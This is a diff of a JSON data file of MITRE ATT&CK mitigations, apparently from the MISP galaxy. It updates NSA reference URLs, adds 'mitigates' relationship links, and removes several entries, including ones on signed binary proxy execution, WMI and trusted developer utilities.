"https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -1192,7 +1723,7 @@ "https://attack.mitre.org/mitigations/T1058", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, "related": [ @@ -1307,7 +1838,7 @@ "https://attack.mitre.org/mitigations/T1181", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -1355,7 +1886,7 @@ "https://attack.mitre.org/mitigations/T1122", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -1423,7 +1954,7 @@ "https://attack.mitre.org/mitigations/T1126", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -1435,6 +1966,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb", @@ -1460,26 +1998,6 @@ "uuid": "51048ba0-a5aa-41e7-bf5d-993cd217dfb2", "value": "Signed Script Proxy Execution Mitigation - T1216" }, - { - "description": "Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these binaries if they are not required for a given system or network to prevent potential misuse by adversaries. If these binaries are required for use, then restrict execution of them to privileged accounts or groups that need to use them to lessen the opportunities for malicious use.", - "meta": { - "external_id": "T1218", - "refs": [ - "https://attack.mitre.org/mitigations/T1218" - ] - }, - "related": [ - { - "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "28c0f30c-32c3-4c6c-a474-74820e55854f", - "value": "Signed Binary Proxy Execution Mitigation - T1218" - }, { "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.", "meta": { @@ -1574,7 +2092,7 @@ "https://www.ready.gov/business/implementation/IT", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -1628,6 +2146,34 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "0df05477-c572-4ed6-88a9-47c581f548f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "38eb0c22-6caf-46ce-8869-5964bd735858", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "18cffc21-3260-437e-80e4-4ab8bf2ba5e9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "82c21600-ccb6-4232-8c04-ef3792b56628", @@ -1661,7 +2207,7 @@ "https://attack.mitre.org/mitigations/T1111", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -1706,7 +2252,7 @@ "https://attack.mitre.org/mitigations/T1033", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -1731,7 +2277,7 @@ "https://attack.mitre.org/mitigations/T1010", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -1770,6 +2316,97 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "41d9846c-f6af-4302-a654-24bba2729bc6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7c0f17c9-1af6-4628-9cbd-9e45482dd605", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e49ee9d2-0d98-44ef-85e5-5d3100065744", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ea016b56-ae0e-47fe-967a-cc0ad51af67f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d201d4cc-214d-4a74-a1ba-b3fa09fd4591", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0042a9f5-f053-4769-b3ef-9ad018dfa298", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7007935a-a8a7-4c0b-bd98-4e85be8ed197", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "98be40f2-c86b-4ade-b6fc-4964932040e5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", @@ -1783,7 +2420,7 @@ "https://attack.mitre.org/mitigations/T1004", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, "related": [ @@ -1806,7 +2443,7 @@ "https://attack.mitre.org/mitigations/T1500", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2020,6 +2657,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d3bc5020-f6a2-41c0-8ccb-5e563101b60c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "0beabf44-e8d8-4ae4-9122-ef56369a2564", @@ -2033,7 +2691,7 @@ "https://attack.mitre.org/mitigations/T1007", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2105,7 +2763,7 @@ "https://attack.mitre.org/mitigations/T1120", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2174,7 +2832,7 @@ "https://github.com/mattifestation/PowerSploit", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, "related": [ @@ -2210,31 +2868,6 @@ "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a", "value": "Remote File Copy Mitigation - T1105" }, - { - "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "meta": { - "external_id": "T1106", - "refs": [ - "https://attack.mitre.org/mitigations/T1106", - "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", - "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", - "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", - "https://technet.microsoft.com/en-us/library/ee791851.aspx" - ] - }, - "related": [ - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8", - "value": "Execution through API Mitigation - T1106" - }, { "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { @@ -2243,7 +2876,7 @@ "https://attack.mitre.org/mitigations/T1061", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2296,6 +2929,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "0472af99-f25c-4abe-9fce-010fa3450e72", @@ -2309,7 +2949,7 @@ "https://attack.mitre.org/mitigations/T1018", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2334,7 +2974,7 @@ "https://attack.mitre.org/mitigations/T1202", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx", "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39" @@ -2422,7 +3062,7 @@ "https://attack.mitre.org/mitigations/T1082", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2445,7 +3085,7 @@ "external_id": "T1028", "refs": [ "https://attack.mitre.org/mitigations/T1028", - "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" ] }, "related": [ @@ -2489,7 +3129,7 @@ "https://attack.mitre.org/mitigations/T1063", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2514,7 +3154,7 @@ "https://attack.mitre.org/mitigations/T1046", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2531,27 +3171,6 @@ "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3", "value": "Network Service Scanning Mitigation - T1046" }, - { - "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", - "meta": { - "external_id": "T1047", - "refs": [ - "https://attack.mitre.org/mitigations/T1047", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" - ] - }, - "related": [ - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf", - "value": "Windows Management Instrumentation Mitigation - T1047" - }, { "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "meta": { @@ -2630,6 +3249,34 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "b9f0c069-abbe-4a07-a245-2481219a1463", @@ -2644,7 +3291,7 @@ "https://www.ready.gov/business/implementation/IT", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2735,7 +3382,7 @@ "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx", "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks" @@ -2761,7 +3408,7 @@ "https://attack.mitre.org/mitigations/T1069", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2786,7 +3433,7 @@ "https://attack.mitre.org/mitigations/T1077", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2813,7 +3460,7 @@ "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2885,6 +3532,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "4490fee2-5c70-4db3-8db5-8d88767dbd55", @@ -2898,7 +3552,7 @@ "https://attack.mitre.org/mitigations/T1124", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2923,7 +3577,7 @@ "https://attack.mitre.org/mitigations/T1217", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -2940,29 +3594,6 @@ "uuid": "1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67", "value": "Browser Bookmark Discovery Mitigation - T1217" }, - { - "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)", - "meta": { - "external_id": "T1127", - "refs": [ - "https://attack.mitre.org/mitigations/T1127", - "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md", - "http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html", - "https://github.com/mattifestation/DeviceGuardBypassMitigationRules" - ] - }, - "related": [ - { - "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0", - "value": "Trusted Developer Utilities Mitigation - T1127" - }, { "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)", "meta": { @@ -2971,7 +3602,7 @@ "https://attack.mitre.org/mitigations/T1128", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, "related": [ @@ -3056,7 +3687,7 @@ "https://attack.mitre.org/mitigations/T1135", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -3073,31 +3704,6 @@ "uuid": "1f34230d-b6ae-4dc7-8599-78c18820bd21", "value": "Network Share Discovery Mitigation - T1135" }, - { - "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)\n\nFor the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)", - "meta": { - "external_id": "T1137", - "refs": [ - "https://attack.mitre.org/mitigations/T1137", - "https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/", - "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/", - "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", - 